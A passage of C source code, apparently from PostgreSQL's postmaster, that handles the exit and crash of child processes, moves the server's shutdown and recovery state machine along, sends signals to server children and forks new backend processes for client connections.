while ((pid = waitpid(-1, &exitstatus, WNOHANG)) > 0) { /* * Check if this child was a startup process. */ if (pid == StartupPID) { StartupPID = 0; /* * Startup process exited in response to a shutdown request (or it * completed normally regardless of the shutdown request). */ if (Shutdown > NoShutdown && (EXIT_STATUS_0(exitstatus) || EXIT_STATUS_1(exitstatus))) { StartupStatus = STARTUP_NOT_RUNNING; pmState = PM_WAIT_BACKENDS; /* PostmasterStateMachine logic does the rest */ continue; } if (EXIT_STATUS_3(exitstatus)) { ereport(LOG, (errmsg("shutdown at recovery target"))); StartupStatus = STARTUP_NOT_RUNNING; Shutdown = SmartShutdown; TerminateChildren(SIGTERM); pmState = PM_WAIT_BACKENDS; /* PostmasterStateMachine logic does the rest */ continue; } /* * Unexpected exit of startup process (including FATAL exit) * during PM_STARTUP is treated as catastrophic. There are no * other processes running yet, so we can just exit. */ if (pmState == PM_STARTUP && !EXIT_STATUS_0(exitstatus)) { LogChildExit(LOG, _("startup process"), pid, exitstatus); ereport(LOG, (errmsg("aborting startup due to startup process failure"))); ExitPostmaster(1); } /* * After PM_STARTUP, any unexpected exit (including FATAL exit) of * the startup process is catastrophic, so kill other children, * and set StartupStatus so we don't try to reinitialize after * they're gone. Exception: if StartupStatus is STARTUP_SIGNALED, * then we previously sent the startup process a SIGQUIT; so * that's probably the reason it died, and we do want to try to * restart in that case. */ if (!EXIT_STATUS_0(exitstatus)) { if (StartupStatus == STARTUP_SIGNALED) StartupStatus = STARTUP_NOT_RUNNING; else StartupStatus = STARTUP_CRASHED; HandleChildCrash(pid, exitstatus, _("startup process")); continue; } /* * Startup succeeded, commence normal operations */ StartupStatus = STARTUP_NOT_RUNNING; FatalError = false; Assert(AbortStartTime == 0); ReachedNormalRunning = true; pmState = PM_RUN; /* * Crank up the background tasks, if we didn't do that already * when we entered consistent recovery state. It doesn't matter * if this fails, we'll just try again later. */ if (CheckpointerPID == 0) CheckpointerPID = StartCheckpointer(); if (BgWriterPID == 0) BgWriterPID = StartBackgroundWriter(); if (WalWriterPID == 0) WalWriterPID = StartWalWriter(); /* * Likewise, start other special children as needed. In a restart * situation, some of them may be alive already. */ if (!IsBinaryUpgrade && AutoVacuumingActive() && AutoVacPID == 0) AutoVacPID = StartAutoVacLauncher(); if (PgArchStartupAllowed() && PgArchPID == 0) PgArchPID = pgarch_start(); if (PgStatPID == 0) PgStatPID = pgstat_start(); /* workers may be scheduled to start now */ maybe_start_bgworker(); /* at this point we are really open for business */ ereport(LOG, (errmsg("database system is ready to accept connections"))); #ifdef USE_SYSTEMD sd_notify(0, "READY=1"); #endif continue; } /* * Was it the bgwriter? Normal exit can be ignored; we'll start a new * one at the next iteration of the postmaster's main loop, if * necessary. Any other exit condition is treated as a crash. */ if (pid == BgWriterPID) { BgWriterPID = 0; if (!EXIT_STATUS_0(exitstatus)) HandleChildCrash(pid, exitstatus, _("background writer process")); continue; } /* * Was it the checkpointer? */ if (pid == CheckpointerPID) { CheckpointerPID = 0; if (EXIT_STATUS_0(exitstatus) && pmState == PM_SHUTDOWN) { /* * OK, we saw normal exit of the checkpointer after it's been * told to shut down. We expect that it wrote a shutdown * checkpoint. (If for some reason it didn't, recovery will * occur on next postmaster start.) * * At this point we should have no normal backend children * left (else we'd not be in PM_SHUTDOWN state) but we might * have dead_end children to wait for. * * If we have an archiver subprocess, tell it to do a last * archive cycle and quit. Likewise, if we have walsender * processes, tell them to send any remaining WAL and quit. */ Assert(Shutdown > NoShutdown); /* Waken archiver for the last time */ if (PgArchPID != 0) signal_child(PgArchPID, SIGUSR2); /* * Waken walsenders for the last time. No regular backends * should be around anymore. */ SignalChildren(SIGUSR2); pmState = PM_SHUTDOWN_2; /* * We can also shut down the stats collector now; there's * nothing left for it to do. */ if (PgStatPID != 0) signal_child(PgStatPID, SIGQUIT); } else { /* * Any unexpected exit of the checkpointer (including FATAL * exit) is treated as a crash. */ HandleChildCrash(pid, exitstatus, _("checkpointer process")); } continue; } /* * Was it the wal writer? Normal exit can be ignored; we'll start a * new one at the next iteration of the postmaster's main loop, if * necessary. Any other exit condition is treated as a crash. */ if (pid == WalWriterPID) { WalWriterPID = 0; if (!EXIT_STATUS_0(exitstatus)) HandleChildCrash(pid, exitstatus, _("WAL writer process")); continue; } /* * Was it the wal receiver? If exit status is zero (normal) or one * (FATAL exit), we assume everything is all right just like normal * backends. */ if (pid == WalReceiverPID) { WalReceiverPID = 0; if (!EXIT_STATUS_0(exitstatus) && !EXIT_STATUS_1(exitstatus)) HandleChildCrash(pid, exitstatus, _("WAL receiver process")); continue; } /* * Was it the autovacuum launcher? Normal exit can be ignored; we'll * start a new one at the next iteration of the postmaster's main * loop, if necessary. Any other exit condition is treated as a * crash. */ if (pid == AutoVacPID) { AutoVacPID = 0; if (!EXIT_STATUS_0(exitstatus)) HandleChildCrash(pid, exitstatus, _("autovacuum launcher process")); continue; } /* * Was it the archiver? If so, just try to start a new one; no need * to force reset of the rest of the system. (If fail, we'll try * again in future cycles of the main loop.). Unless we were waiting * for it to shut down; don't restart it in that case, and * PostmasterStateMachine() will advance to the next shutdown step. */ if (pid == PgArchPID) { PgArchPID = 0; if (!EXIT_STATUS_0(exitstatus)) LogChildExit(LOG, _("archiver process"), pid, exitstatus); if (PgArchStartupAllowed()) PgArchPID = pgarch_start(); continue; } /* * Was it the statistics collector? If so, just try to start a new * one; no need to force reset of the rest of the system. (If fail, * we'll try again in future cycles of the main loop.) */ if (pid == PgStatPID) { PgStatPID = 0; if (!EXIT_STATUS_0(exitstatus)) LogChildExit(LOG, _("statistics collector process"), pid, exitstatus); if (pmState == PM_RUN || pmState == PM_HOT_STANDBY) PgStatPID = pgstat_start(); continue; } /* Was it the system logger? If so, try to start a new one */ if (pid == SysLoggerPID) { SysLoggerPID = 0; /* for safety's sake, launch new logger *first* */ SysLoggerPID = SysLogger_Start(); if (!EXIT_STATUS_0(exitstatus)) LogChildExit(LOG, _("system logger process"), pid, exitstatus); continue; } /* Was it one of our background workers? */ if (CleanupBackgroundWorker(pid, exitstatus)) { /* have it be restarted */ HaveCrashedWorker = true; continue; } /* * Else do standard backend child cleanup. */ CleanupBackend(pid, exitstatus); } /* loop over pending child-death reports */ /* * After cleaning out the SIGCHLD queue, see if we have any state changes * or actions to make. */ PostmasterStateMachine(); /* Done with signal handler */ PG_SETMASK(&UnBlockSig); errno = save_errno; } /* * Scan the bgworkers list and see if the given PID (which has just stopped * or crashed) is in it. Handle its shutdown if so, and return true. If not a * bgworker, return false. * * This is heavily based on CleanupBackend. One important difference is that * we don't know yet that the dying process is a bgworker, so we must be silent * until we're sure it is. */ static bool CleanupBackgroundWorker(int pid, int exitstatus) /* child's exit status */ { char namebuf[MAXPGPATH]; slist_iter iter; slist_foreach(iter, &BackgroundWorkerList) { RegisteredBgWorker *rw; rw = slist_container(RegisteredBgWorker, rw_lnode, iter.cur); if (rw->rw_pid != pid) continue; #ifdef WIN32 /* see CleanupBackend */ if (exitstatus == ERROR_WAIT_NO_CHILDREN) exitstatus = 0; #endif snprintf(namebuf, MAXPGPATH, "%s: %s", _("worker process"), rw->rw_worker.bgw_name); if (!EXIT_STATUS_0(exitstatus)) { /* Record timestamp, so we know when to restart the worker. */ rw->rw_crashed_at = GetCurrentTimestamp(); } else { /* Zero exit status means terminate */ rw->rw_crashed_at = 0; rw->rw_terminate = true; } /* * Additionally, for shared-memory-connected workers, just like a * backend, any exit status other than 0 or 1 is considered a crash * and causes a system-wide restart. */ if ((rw->rw_worker.bgw_flags & BGWORKER_SHMEM_ACCESS) != 0) { if (!EXIT_STATUS_0(exitstatus) && !EXIT_STATUS_1(exitstatus)) { HandleChildCrash(pid, exitstatus, namebuf); return true; } } /* * We must release the postmaster child slot whether this worker is * connected to shared memory or not, but we only treat it as a crash * if it is in fact connected. */ if (!ReleasePostmasterChildSlot(rw->rw_child_slot) && (rw->rw_worker.bgw_flags & BGWORKER_SHMEM_ACCESS) != 0) { HandleChildCrash(pid, exitstatus, namebuf); return true; } /* Get it out of the BackendList and clear out remaining data */ dlist_delete(&rw->rw_backend->elem); #ifdef EXEC_BACKEND ShmemBackendArrayRemove(rw->rw_backend); #endif /* * It's possible that this background worker started some OTHER * background worker and asked to be notified when that worker started * or stopped. If so, cancel any notifications destined for the * now-dead backend. */ if (rw->rw_backend->bgworker_notify) BackgroundWorkerStopNotifications(rw->rw_pid); free(rw->rw_backend); rw->rw_backend = NULL; rw->rw_pid = 0; rw->rw_child_slot = 0; ReportBackgroundWorkerPID(rw); /* report child death */ LogChildExit(EXIT_STATUS_0(exitstatus) ? DEBUG1 : LOG, namebuf, pid, exitstatus); return true; } return false; } /* * CleanupBackend -- cleanup after terminated backend. * * Remove all local state associated with backend. * * If you change this, see also CleanupBackgroundWorker. */ static void CleanupBackend(int pid, int exitstatus) /* child's exit status. */ { dlist_mutable_iter iter; LogChildExit(DEBUG2, _("server process"), pid, exitstatus); /* * If a backend dies in an ugly way then we must signal all other backends * to quickdie. If exit status is zero (normal) or one (FATAL exit), we * assume everything is all right and proceed to remove the backend from * the active backend list. */ #ifdef WIN32 /* * On win32, also treat ERROR_WAIT_NO_CHILDREN (128) as nonfatal case, * since that sometimes happens under load when the process fails to start * properly (long before it starts using shared memory). Microsoft reports * it is related to mutex failure: * http://archives.postgresql.org/pgsql-hackers/2010-09/msg00790.php */ if (exitstatus == ERROR_WAIT_NO_CHILDREN) { LogChildExit(LOG, _("server process"), pid, exitstatus); exitstatus = 0; } #endif if (!EXIT_STATUS_0(exitstatus) && !EXIT_STATUS_1(exitstatus)) { HandleChildCrash(pid, exitstatus, _("server process")); return; } dlist_foreach_modify(iter, &BackendList) { Backend *bp = dlist_container(Backend, elem, iter.cur); if (bp->pid == pid) { if (!bp->dead_end) { if (!ReleasePostmasterChildSlot(bp->child_slot)) { /* * Uh-oh, the child failed to clean itself up. Treat as a * crash after all. */ HandleChildCrash(pid, exitstatus, _("server process")); return; } #ifdef EXEC_BACKEND ShmemBackendArrayRemove(bp); #endif } if (bp->bgworker_notify) { /* * This backend may have been slated to receive SIGUSR1 when * some background worker started or stopped. Cancel those * notifications, as we don't want to signal PIDs that are not * PostgreSQL backends. This gets skipped in the (probably * very common) case where the backend has never requested any * such notifications. */ BackgroundWorkerStopNotifications(bp->pid); } dlist_delete(iter.cur); free(bp); break; } } } /* * HandleChildCrash -- cleanup after failed backend, bgwriter, checkpointer, * walwriter, autovacuum, or background worker. * * The objectives here are to clean up our local state about the child * process, and to signal all other remaining children to quickdie. */ static void HandleChildCrash(int pid, int exitstatus, const char *procname) { dlist_mutable_iter iter; slist_iter siter; Backend *bp; bool take_action; /* * We only log messages and send signals if this is the first process * crash and we're not doing an immediate shutdown; otherwise, we're only * here to update postmaster's idea of live processes. If we have already * signalled children, nonzero exit status is to be expected, so don't * clutter log. */ take_action = !FatalError && Shutdown != ImmediateShutdown; if (take_action) { LogChildExit(LOG, procname, pid, exitstatus); ereport(LOG, (errmsg("terminating any other active server processes"))); } /* Process background workers. */ slist_foreach(siter, &BackgroundWorkerList) { RegisteredBgWorker *rw; rw = slist_container(RegisteredBgWorker, rw_lnode, siter.cur); if (rw->rw_pid == 0) continue; /* not running */ if (rw->rw_pid == pid) { /* * Found entry for freshly-dead worker, so remove it. */ (void) ReleasePostmasterChildSlot(rw->rw_child_slot); dlist_delete(&rw->rw_backend->elem); #ifdef EXEC_BACKEND ShmemBackendArrayRemove(rw->rw_backend); #endif free(rw->rw_backend); rw->rw_backend = NULL; rw->rw_pid = 0; rw->rw_child_slot = 0; /* don't reset crashed_at */ /* don't report child stop, either */ /* Keep looping so we can signal remaining workers */ } else { /* * This worker is still alive. Unless we did so already, tell it * to commit hara-kiri. * * SIGQUIT is the special signal that says exit without proc_exit * and let the user know what's going on. But if SendStop is set * (-s on command line), then we send SIGSTOP instead, so that we * can get core dumps from all backends by hand. */ if (take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", (SendStop ? "SIGSTOP" : "SIGQUIT"), (int) rw->rw_pid))); signal_child(rw->rw_pid, (SendStop ? SIGSTOP : SIGQUIT)); } } } /* Process regular backends */ dlist_foreach_modify(iter, &BackendList) { bp = dlist_container(Backend, elem, iter.cur); if (bp->pid == pid) { /* * Found entry for freshly-dead backend, so remove it. */ if (!bp->dead_end) { (void) ReleasePostmasterChildSlot(bp->child_slot); #ifdef EXEC_BACKEND ShmemBackendArrayRemove(bp); #endif } dlist_delete(iter.cur); free(bp); /* Keep looping so we can signal remaining backends */ } else { /* * This backend is still alive. Unless we did so already, tell it * to commit hara-kiri. * * SIGQUIT is the special signal that says exit without proc_exit * and let the user know what's going on. But if SendStop is set * (-s on command line), then we send SIGSTOP instead, so that we * can get core dumps from all backends by hand. * * We could exclude dead_end children here, but at least in the * SIGSTOP case it seems better to include them. * * Background workers were already processed above; ignore them * here. */ if (bp->bkend_type == BACKEND_TYPE_BGWORKER) continue; if (take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", (SendStop ? "SIGSTOP" : "SIGQUIT"), (int) bp->pid))); signal_child(bp->pid, (SendStop ? SIGSTOP : SIGQUIT)); } } } /* Take care of the startup process too */ if (pid == StartupPID) { StartupPID = 0; StartupStatus = STARTUP_CRASHED; } else if (StartupPID != 0 && take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", (SendStop ? "SIGSTOP" : "SIGQUIT"), (int) StartupPID))); signal_child(StartupPID, (SendStop ? SIGSTOP : SIGQUIT)); StartupStatus = STARTUP_SIGNALED; } /* Take care of the bgwriter too */ if (pid == BgWriterPID) BgWriterPID = 0; else if (BgWriterPID != 0 && take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", (SendStop ? "SIGSTOP" : "SIGQUIT"), (int) BgWriterPID))); signal_child(BgWriterPID, (SendStop ? SIGSTOP : SIGQUIT)); } /* Take care of the checkpointer too */ if (pid == CheckpointerPID) CheckpointerPID = 0; else if (CheckpointerPID != 0 && take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", (SendStop ? "SIGSTOP" : "SIGQUIT"), (int) CheckpointerPID))); signal_child(CheckpointerPID, (SendStop ? SIGSTOP : SIGQUIT)); } /* Take care of the walwriter too */ if (pid == WalWriterPID) WalWriterPID = 0; else if (WalWriterPID != 0 && take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", (SendStop ? "SIGSTOP" : "SIGQUIT"), (int) WalWriterPID))); signal_child(WalWriterPID, (SendStop ? SIGSTOP : SIGQUIT)); } /* Take care of the walreceiver too */ if (pid == WalReceiverPID) WalReceiverPID = 0; else if (WalReceiverPID != 0 && take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", (SendStop ? "SIGSTOP" : "SIGQUIT"), (int) WalReceiverPID))); signal_child(WalReceiverPID, (SendStop ? SIGSTOP : SIGQUIT)); } /* Take care of the autovacuum launcher too */ if (pid == AutoVacPID) AutoVacPID = 0; else if (AutoVacPID != 0 && take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", (SendStop ? "SIGSTOP" : "SIGQUIT"), (int) AutoVacPID))); signal_child(AutoVacPID, (SendStop ? SIGSTOP : SIGQUIT)); } /* * Force a power-cycle of the pgarch process too. (This isn't absolutely * necessary, but it seems like a good idea for robustness, and it * simplifies the state-machine logic in the case where a shutdown request * arrives during crash processing.) */ if (PgArchPID != 0 && take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", "SIGQUIT", (int) PgArchPID))); signal_child(PgArchPID, SIGQUIT); } /* * Force a power-cycle of the pgstat process too. (This isn't absolutely * necessary, but it seems like a good idea for robustness, and it * simplifies the state-machine logic in the case where a shutdown request * arrives during crash processing.) */ if (PgStatPID != 0 && take_action) { ereport(DEBUG2, (errmsg_internal("sending %s to process %d", "SIGQUIT", (int) PgStatPID))); signal_child(PgStatPID, SIGQUIT); allow_immediate_pgstat_restart(); } /* We do NOT restart the syslogger */ if (Shutdown != ImmediateShutdown) FatalError = true; /* We now transit into a state of waiting for children to die */ if (pmState == PM_RECOVERY || pmState == PM_HOT_STANDBY || pmState == PM_RUN || pmState == PM_WAIT_BACKUP || pmState == PM_WAIT_READONLY || pmState == PM_SHUTDOWN) pmState = PM_WAIT_BACKENDS; /* * .. and if this doesn't happen quickly enough, now the clock is ticking * for us to kill them without mercy. */ if (AbortStartTime == 0) AbortStartTime = time(NULL); } /* * Log the death of a child process. */ static void LogChildExit(int lev, const char *procname, int pid, int exitstatus) { /* * size of activity_buffer is arbitrary, but set equal to default * track_activity_query_size */ char activity_buffer[1024]; const char *activity = NULL; if (!EXIT_STATUS_0(exitstatus)) activity = pgstat_get_crashed_backend_activity(pid, activity_buffer, sizeof(activity_buffer)); if (WIFEXITED(exitstatus)) ereport(lev, /*------ translator: %s is a noun phrase describing a child process, such as "server process" */ (errmsg("%s (PID %d) exited with exit code %d", procname, pid, WEXITSTATUS(exitstatus)), activity ? errdetail("Failed process was running: %s", activity) : 0)); else if (WIFSIGNALED(exitstatus)) #if defined(WIN32) ereport(lev, /*------ translator: %s is a noun phrase describing a child process, such as "server process" */ (errmsg("%s (PID %d) was terminated by exception 0x%X", procname, pid, WTERMSIG(exitstatus)), errhint("See C include file \"ntstatus.h\" for a description of the hexadecimal value."), activity ? errdetail("Failed process was running: %s", activity) : 0)); #elif defined(HAVE_DECL_SYS_SIGLIST) && HAVE_DECL_SYS_SIGLIST ereport(lev, /*------ translator: %s is a noun phrase describing a child process, such as "server process" */ (errmsg("%s (PID %d) was terminated by signal %d: %s", procname, pid, WTERMSIG(exitstatus), WTERMSIG(exitstatus) < NSIG ? sys_siglist[WTERMSIG(exitstatus)] : "(unknown)"), activity ? errdetail("Failed process was running: %s", activity) : 0)); #else ereport(lev, /*------ translator: %s is a noun phrase describing a child process, such as "server process" */ (errmsg("%s (PID %d) was terminated by signal %d", procname, pid, WTERMSIG(exitstatus)), activity ? errdetail("Failed process was running: %s", activity) : 0)); #endif else ereport(lev, /*------ translator: %s is a noun phrase describing a child process, such as "server process" */ (errmsg("%s (PID %d) exited with unrecognized status %d", procname, pid, exitstatus), activity ? errdetail("Failed process was running: %s", activity) : 0)); } /* * Advance the postmaster's state machine and take actions as appropriate * * This is common code for pmdie(), reaper() and sigusr1_handler(), which * receive the signals that might mean we need to change state. */ static void PostmasterStateMachine(void) { if (pmState == PM_WAIT_BACKUP) { /* * PM_WAIT_BACKUP state ends when online backup mode is not active. */ if (!BackupInProgress()) pmState = PM_WAIT_BACKENDS; } if (pmState == PM_WAIT_READONLY) { /* * PM_WAIT_READONLY state ends when we have no regular backends that * have been started during recovery. We kill the startup and * walreceiver processes and transition to PM_WAIT_BACKENDS. Ideally, * we might like to kill these processes first and then wait for * backends to die off, but that doesn't work at present because * killing the startup process doesn't release its locks. */ if (CountChildren(BACKEND_TYPE_NORMAL) == 0) { if (StartupPID != 0) signal_child(StartupPID, SIGTERM); if (WalReceiverPID != 0) signal_child(WalReceiverPID, SIGTERM); pmState = PM_WAIT_BACKENDS; } } /* * If we are in a state-machine state that implies waiting for backends to * exit, see if they're all gone, and change state if so. */ if (pmState == PM_WAIT_BACKENDS) { /* * PM_WAIT_BACKENDS state ends when we have no regular backends * (including autovac workers), no bgworkers (including unconnected * ones), and no walwriter, autovac launcher or bgwriter. If we are * doing crash recovery or an immediate shutdown then we expect the * checkpointer to exit as well, otherwise not. The archiver, stats, * and syslogger processes are disregarded since they are not * connected to shared memory; we also disregard dead_end children * here. Walsenders are also disregarded, they will be terminated * later after writing the checkpoint record, like the archiver * process. */ if (CountChildren(BACKEND_TYPE_NORMAL | BACKEND_TYPE_WORKER) == 0 && StartupPID == 0 && WalReceiverPID == 0 && BgWriterPID == 0 && (CheckpointerPID == 0 || (!FatalError && Shutdown < ImmediateShutdown)) && WalWriterPID == 0 && AutoVacPID == 0) { if (Shutdown >= ImmediateShutdown || FatalError) { /* * Start waiting for dead_end children to die. This state * change causes ServerLoop to stop creating new ones. */ pmState = PM_WAIT_DEAD_END; /* * We already SIGQUIT'd the archiver and stats processes, if * any, when we started immediate shutdown or entered * FatalError state. */ } else { /* * If we get here, we are proceeding with normal shutdown. All * the regular children are gone, and it's time to tell the * checkpointer to do a shutdown checkpoint. */ Assert(Shutdown > NoShutdown); /* Start the checkpointer if not running */ if (CheckpointerPID == 0) CheckpointerPID = StartCheckpointer(); /* And tell it to shut down */ if (CheckpointerPID != 0) { signal_child(CheckpointerPID, SIGUSR2); pmState = PM_SHUTDOWN; } else { /* * If we failed to fork a checkpointer, just shut down. * Any required cleanup will happen at next restart. We * set FatalError so that an "abnormal shutdown" message * gets logged when we exit. */ FatalError = true; pmState = PM_WAIT_DEAD_END; /* Kill the walsenders, archiver and stats collector too */ SignalChildren(SIGQUIT); if (PgArchPID != 0) signal_child(PgArchPID, SIGQUIT); if (PgStatPID != 0) signal_child(PgStatPID, SIGQUIT); } } } } if (pmState == PM_SHUTDOWN_2) { /* * PM_SHUTDOWN_2 state ends when there's no other children than * dead_end children left. There shouldn't be any regular backends * left by now anyway; what we're really waiting for is walsenders and * archiver. * * Walreceiver should normally be dead by now, but not when a fast * shutdown is performed during recovery. */ if (PgArchPID == 0 && CountChildren(BACKEND_TYPE_ALL) == 0 && WalReceiverPID == 0) { pmState = PM_WAIT_DEAD_END; } } if (pmState == PM_WAIT_DEAD_END) { /* * PM_WAIT_DEAD_END state ends when the BackendList is entirely empty * (ie, no dead_end children remain), and the archiver and stats * collector are gone too. * * The reason we wait for those two is to protect them against a new * postmaster starting conflicting subprocesses; this isn't an * ironclad protection, but it at least helps in the * shutdown-and-immediately-restart scenario. Note that they have * already been sent appropriate shutdown signals, either during a * normal state transition leading up to PM_WAIT_DEAD_END, or during * FatalError processing. */ if (dlist_is_empty(&BackendList) && PgArchPID == 0 && PgStatPID == 0) { /* These other guys should be dead already */ Assert(StartupPID == 0); Assert(WalReceiverPID == 0); Assert(BgWriterPID == 0); Assert(CheckpointerPID == 0); Assert(WalWriterPID == 0); Assert(AutoVacPID == 0); /* syslogger is not considered here */ pmState = PM_NO_CHILDREN; } } /* * If we've been told to shut down, we exit as soon as there are no * remaining children. If there was a crash, cleanup will occur at the * next startup. (Before PostgreSQL 8.3, we tried to recover from the * crash before exiting, but that seems unwise if we are quitting because * we got SIGTERM from init --- there may well not be time for recovery * before init decides to SIGKILL us.) * * Note that the syslogger continues to run. It will exit when it sees * EOF on its input pipe, which happens when there are no more upstream * processes. */ if (Shutdown > NoShutdown && pmState == PM_NO_CHILDREN) { if (FatalError) { ereport(LOG, (errmsg("abnormal database system shutdown"))); ExitPostmaster(1); } else { /* * Terminate exclusive backup mode to avoid recovery after a clean * fast shutdown. Since an exclusive backup can only be taken * during normal running (and not, for example, while running * under Hot Standby) it only makes sense to do this if we reached * normal running. If we're still in recovery, the backup file is * one we're recovering *from*, and we must keep it around so that * recovery restarts from the right place. */ if (ReachedNormalRunning) CancelBackup(); /* Normal exit from the postmaster is here */ ExitPostmaster(0); } } /* * If the startup process failed, or the user does not want an automatic * restart after backend crashes, wait for all non-syslogger children to * exit, and then exit postmaster. We don't try to reinitialize when the * startup process fails, because more than likely it will just fail again * and we will keep trying forever. */ if (pmState == PM_NO_CHILDREN && (StartupStatus == STARTUP_CRASHED || !restart_after_crash)) ExitPostmaster(1); /* * If we need to recover from a crash, wait for all non-syslogger children * to exit, then reset shmem and StartupDataBase. */ if (FatalError && pmState == PM_NO_CHILDREN) { ereport(LOG, (errmsg("all server processes terminated; reinitializing"))); /* allow background workers to immediately restart */ ResetBackgroundWorkerCrashTimes(); shmem_exit(1); reset_shared(PostPortNumber); StartupPID = StartupDataBase(); Assert(StartupPID != 0); StartupStatus = STARTUP_RUNNING; pmState = PM_STARTUP; /* crash recovery started, reset SIGKILL flag */ AbortStartTime = 0; } } /* * Send a signal to a postmaster child process * * On systems that have setsid(), each child process sets itself up as a * process group leader. For signals that are generally interpreted in the * appropriate fashion, we signal the entire process group not just the * direct child process. This allows us to, for example, SIGQUIT a blocked * archive_recovery script, or SIGINT a script being run by a backend via * system(). * * There is a race condition for recently-forked children: they might not * have executed setsid() yet. So we signal the child directly as well as * the group. We assume such a child will handle the signal before trying * to spawn any grandchild processes. We also assume that signaling the * child twice will not cause any problems. */ static void signal_child(pid_t pid, int signal) { if (kill(pid, signal) < 0) elog(DEBUG3, "kill(%ld,%d) failed: %m", (long) pid, signal); #ifdef HAVE_SETSID switch (signal) { case SIGINT: case SIGTERM: case SIGQUIT: case SIGSTOP: case SIGKILL: if (kill(-pid, signal) < 0) elog(DEBUG3, "kill(%ld,%d) failed: %m", (long) (-pid), signal); break; default: break; } #endif } /* * Send a signal to the targeted children (but NOT special children; * dead_end children are never signaled, either). */ static bool SignalSomeChildren(int signal, int target) { dlist_iter iter; bool signaled = false; dlist_foreach(iter, &BackendList) { Backend *bp = dlist_container(Backend, elem, iter.cur); if (bp->dead_end) continue; /* * Since target == BACKEND_TYPE_ALL is the most common case, we test * it first and avoid touching shared memory for every child. */ if (target != BACKEND_TYPE_ALL) { /* * Assign bkend_type for any recently announced WAL Sender * processes. */ if (bp->bkend_type == BACKEND_TYPE_NORMAL && IsPostmasterChildWalSender(bp->child_slot)) bp->bkend_type = BACKEND_TYPE_WALSND; if (!(target & bp->bkend_type)) continue; } ereport(DEBUG4, (errmsg_internal("sending signal %d to process %d", signal, (int) bp->pid))); signal_child(bp->pid, signal); signaled = true; } return signaled; } /* * Send a termination signal to children. This considers all of our children * processes, except syslogger and dead_end backends. */ static void TerminateChildren(int signal) { SignalChildren(signal); if (StartupPID != 0) { signal_child(StartupPID, signal); if (signal == SIGQUIT || signal == SIGKILL) StartupStatus = STARTUP_SIGNALED; } if (BgWriterPID != 0) signal_child(BgWriterPID, signal); if (CheckpointerPID != 0) signal_child(CheckpointerPID, signal); if (WalWriterPID != 0) signal_child(WalWriterPID, signal); if (WalReceiverPID != 0) signal_child(WalReceiverPID, signal); if (AutoVacPID != 0) signal_child(AutoVacPID, signal); if (PgArchPID != 0) signal_child(PgArchPID, signal); if (PgStatPID != 0) signal_child(PgStatPID, signal); } /* * BackendStartup -- start backend process * * returns: STATUS_ERROR if the fork failed, STATUS_OK otherwise. * * Note: if you change this code, also consider StartAutovacuumWorker. */ static int BackendStartup(Port *port) { Backend *bn; /* for backend cleanup */ pid_t pid; /* * Create backend data structure. Better before the fork() so we can * handle failure cleanly. */ bn = (Backend *) malloc(sizeof(Backend)); if (!bn) { ereport(LOG, (errcode(ERRCODE_OUT_OF_MEMORY), errmsg("out of memory"))); return STATUS_ERROR; } /* * Compute the cancel key that will be assigned to this backend. The * backend will have its own copy in the forked-off process' value of * MyCancelKey, so that it can transmit the key to the frontend. */ if (!RandomCancelKey(&MyCancelKey)) { free(bn); ereport(LOG, (errcode(ERRCODE_INTERNAL_ERROR), errmsg("could not generate random cancel key"))); return STATUS_ERROR; } bn->cancel_key = MyCancelKey; /* Pass down canAcceptConnections state */ port->canAcceptConnections = canAcceptConnections(); bn->dead_end = (port->canAcceptConnections != CAC_OK && port->canAcceptConnections != CAC_WAITBACKUP); /* * Unless it's a dead_end child, assign it a child slot number */ if (!bn->dead_end) bn->child_slot = MyPMChildSlot = AssignPostmasterChildSlot(); else bn->child_slot = 0; /* Hasn't asked to be notified about any bgworkers yet */ bn->bgworker_notify = false; #ifdef EXEC_BACKEND pid = backend_forkexec(port); #else /* !EXEC_BACKEND */ pid = fork_process(); if (pid == 0) /* child */ { free(bn); /* Detangle from postmaster */ InitPostmasterChild(); /* Close the postmaster's sockets */ ClosePostmasterPorts(false); /* Perform additional initialization and collect startup packet */ BackendInitialize(port); /* And run the backend */ BackendRun(port); } #endif /* EXEC_BACKEND */ if (pid < 0) { /* in parent, fork failed */ int save_errno = errno; if (!bn->dead_end) (void) ReleasePostmasterChildSlot(bn->child_slot); free(bn); errno = save_errno; ereport(LOG, (errmsg("could not fork new process for connection: %m"))); report_fork_failure_to_client(port, save_errno); return STATUS_ERROR; } /* in parent, successful fork */ ereport(DEBUG2, (errmsg_internal("forked new backend, pid=%d socket=%d", (int) pid, (int) port->sock))); /* * Everything's been successful, it's safe to add this backend to our list * of backends. */ bn->pid = pid; bn->bkend_type = BACKEND_TYPE_NORMAL; /* Can change later to WALSND */ dlist_push_head(&BackendList, &bn->elem); #ifdef EXEC_BACKEND if (!bn->dead_end) ShmemBackendArrayAdd(bn); #endif return STATUS_OK; } /* * Try to report backend fork() failure to client before we close the * connection. Since we do not care to risk blocking the postmaster on * this connection, we set the connection to non-blocking and try only once. * * This is grungy special-purpose code; we cannot use backend libpq since * it's not up and running. */ static void report_fork_failure_to_client(Port *port, int errnum) { char buffer[1000]; int rc; /* Format the error message packet (always V2 protocol) */ snprintf(buffer, sizeof(buffer), "E%s%s\n", _("could not fork new process for connection: "), strerror(errnum)); /* Set port to non-blocking. Don't do send() if this fails */ if (!pg_set_noblock(port->sock)) return; /* We'll retry after EINTR, but ignore all other failures */ do { rc = send(port->sock, buffer, strlen(buffer) + 1, 0); } while (rc < 0 && errno == EINTR); } /* * BackendInitialize -- initialize an interactive (postmaster-child) * backend process, and collect the client's startup packet. * * returns: nothing. Will not return at all if there's any failure. * * Note: this code does not depend on having any access to shared memory. * In the EXEC_BACKEND case, we are physically attached to shared memory * but have not yet set up most of our local pointers to shmem structures. */ static void BackendInitialize(Port *port) { int status; int ret; char remote_host[NI_MAXHOST]; char remote_port[NI_MAXSERV]; char remote_ps_data[NI_MAXHOST]; /* Save port etc. for ps status */ MyProcPort = port; /* * PreAuthDelay is a debugging aid for investigating problems in the * authentication cycle: it can be set in postgresql.conf to allow time to * attach to the newly-forked backend with a debugger. (See also * PostAuthDelay, which we allow clients to pass through PGOPTIONS, but it * is not honored until after authentication.) */ if 